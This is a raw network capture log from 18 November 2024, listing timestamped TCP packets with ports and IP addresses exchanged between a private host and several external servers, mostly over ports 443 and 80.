Nov 18, 2024 08:55:44.556516886 CET	49891	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.556536913 CET	443	49891	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.556549072 CET	49891	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.556555986 CET	443	49891	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.560869932 CET	49903	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.560895920 CET	443	49903	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.560976982 CET	49903	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.561315060 CET	49903	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.561330080 CET	443	49903	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.574945927 CET	443	49892	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.575022936 CET	443	49892	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.575103998 CET	49892	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.575167894 CET	443	49897	23.64.119.163	192.168.2.7
Nov 18, 2024 08:55:44.575170040 CET	443	49892	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.575205088 CET	443	49892	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.575213909 CET	49892	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.575261116 CET	443	49892	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.575283051 CET	49897	443	192.168.2.7	23.64.119.163
Nov 18, 2024 08:55:44.575334072 CET	49892	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.575334072 CET	49892	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.575356007 CET	443	49892	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.575380087 CET	443	49892	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.580959082 CET	49904	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.581003904 CET	443	49904	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.581116915 CET	49904	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.581356049 CET	49904	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.581370115 CET	443	49904	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.582545042 CET	443	49890	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.582609892 CET	443	49890	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.582711935 CET	49890	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.582907915 CET	443	49896	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.582968950 CET	443	49896	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.583050966 CET	49896	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.583120108 CET	49890	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.583136082 CET	443	49890	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.583607912 CET	49896	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.583607912 CET	49896	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.583636045 CET	443	49896	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.583648920 CET	443	49896	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.585149050 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.585169077 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.585179090 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.585222960 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.585247993 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.585300922 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.585335016 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.585346937 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.585396051 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.585407972 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.585426092 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.585438013 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.585474968 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.586044073 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.586093903 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.586112976 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.586124897 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.586137056 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.586199045 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.586199045 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.586636066 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.586672068 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.586683989 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.586700916 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.586725950 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.586832047 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.586843014 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.586883068 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.587512970 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.587538004 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.587551117 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.587567091 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.587584019 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.587718964 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.587732077 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.587758064 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.587794065 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.588411093 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.588426113 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.588464975 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.589070082 CET	443	49878	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:44.589127064 CET	49878	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:44.596136093 CET	49878	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:44.596147060 CET	443	49878	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:44.596163988 CET	49878	443	192.168.2.7	40.126.31.69
Nov 18, 2024 08:55:44.596168041 CET	443	49878	40.126.31.69	192.168.2.7
Nov 18, 2024 08:55:44.611464977 CET	49905	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.611509085 CET	443	49905	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.611701012 CET	49905	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.614939928 CET	49906	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.614980936 CET	443	49906	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.615046024 CET	49906	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.616319895 CET	49905	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.616337061 CET	443	49905	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.616456985 CET	49906	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.616480112 CET	443	49906	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.620543957 CET	443	49893	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.620619059 CET	443	49893	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.620752096 CET	49893	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.620826006 CET	49893	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.620826006 CET	49893	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.620840073 CET	443	49893	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.620850086 CET	443	49893	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.645134926 CET	49907	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.645200014 CET	443	49907	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.645297050 CET	49907	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.645595074 CET	49907	443	192.168.2.7	13.107.246.45
Nov 18, 2024 08:55:44.645620108 CET	443	49907	13.107.246.45	192.168.2.7
Nov 18, 2024 08:55:44.744227886 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.744251013 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.744276047 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.744286060 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.744294882 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.744294882 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.744332075 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.744332075 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.744461060 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.744499922 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.744513035 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.744524956 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.744540930 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.744560003 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.744587898 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.745052099 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.745095968 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.745136023 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.745393038 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.745407104 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.745418072 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.745430946 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.745546103 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.745546103 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.745965004 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.746014118 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.746022940 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.746045113 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.746057987 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.746068954 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.746084929 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.746114016 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.746819973 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.746860027 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.746887922 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.746900082 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.746934891 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.746946096 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.746958971 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.746995926 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.747701883 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.747714996 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.747726917 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.747777939 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.747777939 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.747782946 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.747795105 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.747817993 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.747848988 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.748476982 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.748538971 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.748544931 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.748557091 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.748568058 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.748590946 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.748594999 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.748620987 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.748646021 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.749344110 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.749382973 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.749394894 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.749407053 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.749409914 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.749420881 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.749449015 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.749483109 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.750202894 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.750217915 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.750228882 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.750253916 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.750258923 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.750266075 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.750278950 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.750293016 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.750308037 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.751034975 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.751046896 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.751059055 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.751075983 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.751106024 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.813010931 CET	49908	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:44.813047886 CET	443	49908	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:44.813157082 CET	49908	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:44.815193892 CET	49908	443	192.168.2.7	4.153.57.10
Nov 18, 2024 08:55:44.815207958 CET	443	49908	4.153.57.10	192.168.2.7
Nov 18, 2024 08:55:44.903548002 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.903614998 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.903619051 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.903626919 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.903644085 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.903656960 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.903666019 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.903667927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.903680086 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.903681993 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.903703928 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.903745890 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.903908968 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.903929949 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.903940916 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.903954983 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.903965950 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.903966904 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.903979063 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.903997898 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.904000044 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.904012918 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.904021025 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.904023886 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.904036999 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.904041052 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.904056072 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.904079914 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.904323101 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.904370070 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.904382944 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.904393911 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.904407024 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.904439926 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.904618025 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.904628992 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.904639959 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.904650927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.904659986 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.904663086 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.904675007 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.904685020 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.904686928 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.904699087 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.904704094 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.904711962 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.904720068 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.904746056 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.904995918 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905102015 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905114889 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905133963 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905138969 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.905144930 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905157089 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.905163050 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905174971 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905183077 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.905186892 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905201912 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905211926 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.905234098 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.905524015 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905536890 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905546904 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905564070 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.905579090 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.905618906 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905706882 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.905706882 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905719042 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905730009 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905741930 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905750990 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.905754089 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905766010 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905776978 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.905790091 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905793905 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.905802011 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905812979 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905824900 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905837059 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905839920 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.905849934 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.905858994 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.905872107 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.905895948 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.908576965 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.908591032 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.908693075 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.908694029 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.908706903 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.908719063 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.908730984 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.908751011 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.908752918 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.908762932 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.908763885 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.908775091 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.908787966 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.908792973 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.908802986 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.908816099 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.908826113 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.908829927 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.908840895 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.908842087 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.908853054 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.908865929 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.908874989 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.908888102 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.908902884 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.909390926 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.909401894 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.909414053 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.909431934 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.909447908 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.909586906 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.909600019 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.909610033 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.909621000 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.909629107 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.909640074 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.909641981 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.909652948 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.909665108 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.909666061 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.909678936 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.909688950 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.909693003 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.909725904 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.909780025 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.909954071 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.909991026 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.910095930 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.910109043 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.910120010 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.910130978 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.910140038 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.910144091 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.910156012 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.910166979 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.910170078 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.910181046 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.910185099 CET	49844	80	192.168.2.7	185.215.113.206
Nov 18, 2024 08:55:44.910193920 CET	80	49844	185.215.113.206	192.168.2.7
Nov 18, 2024 08:55:44.910200119 CET	49844	80	192.168.2.7	185.215.113.206
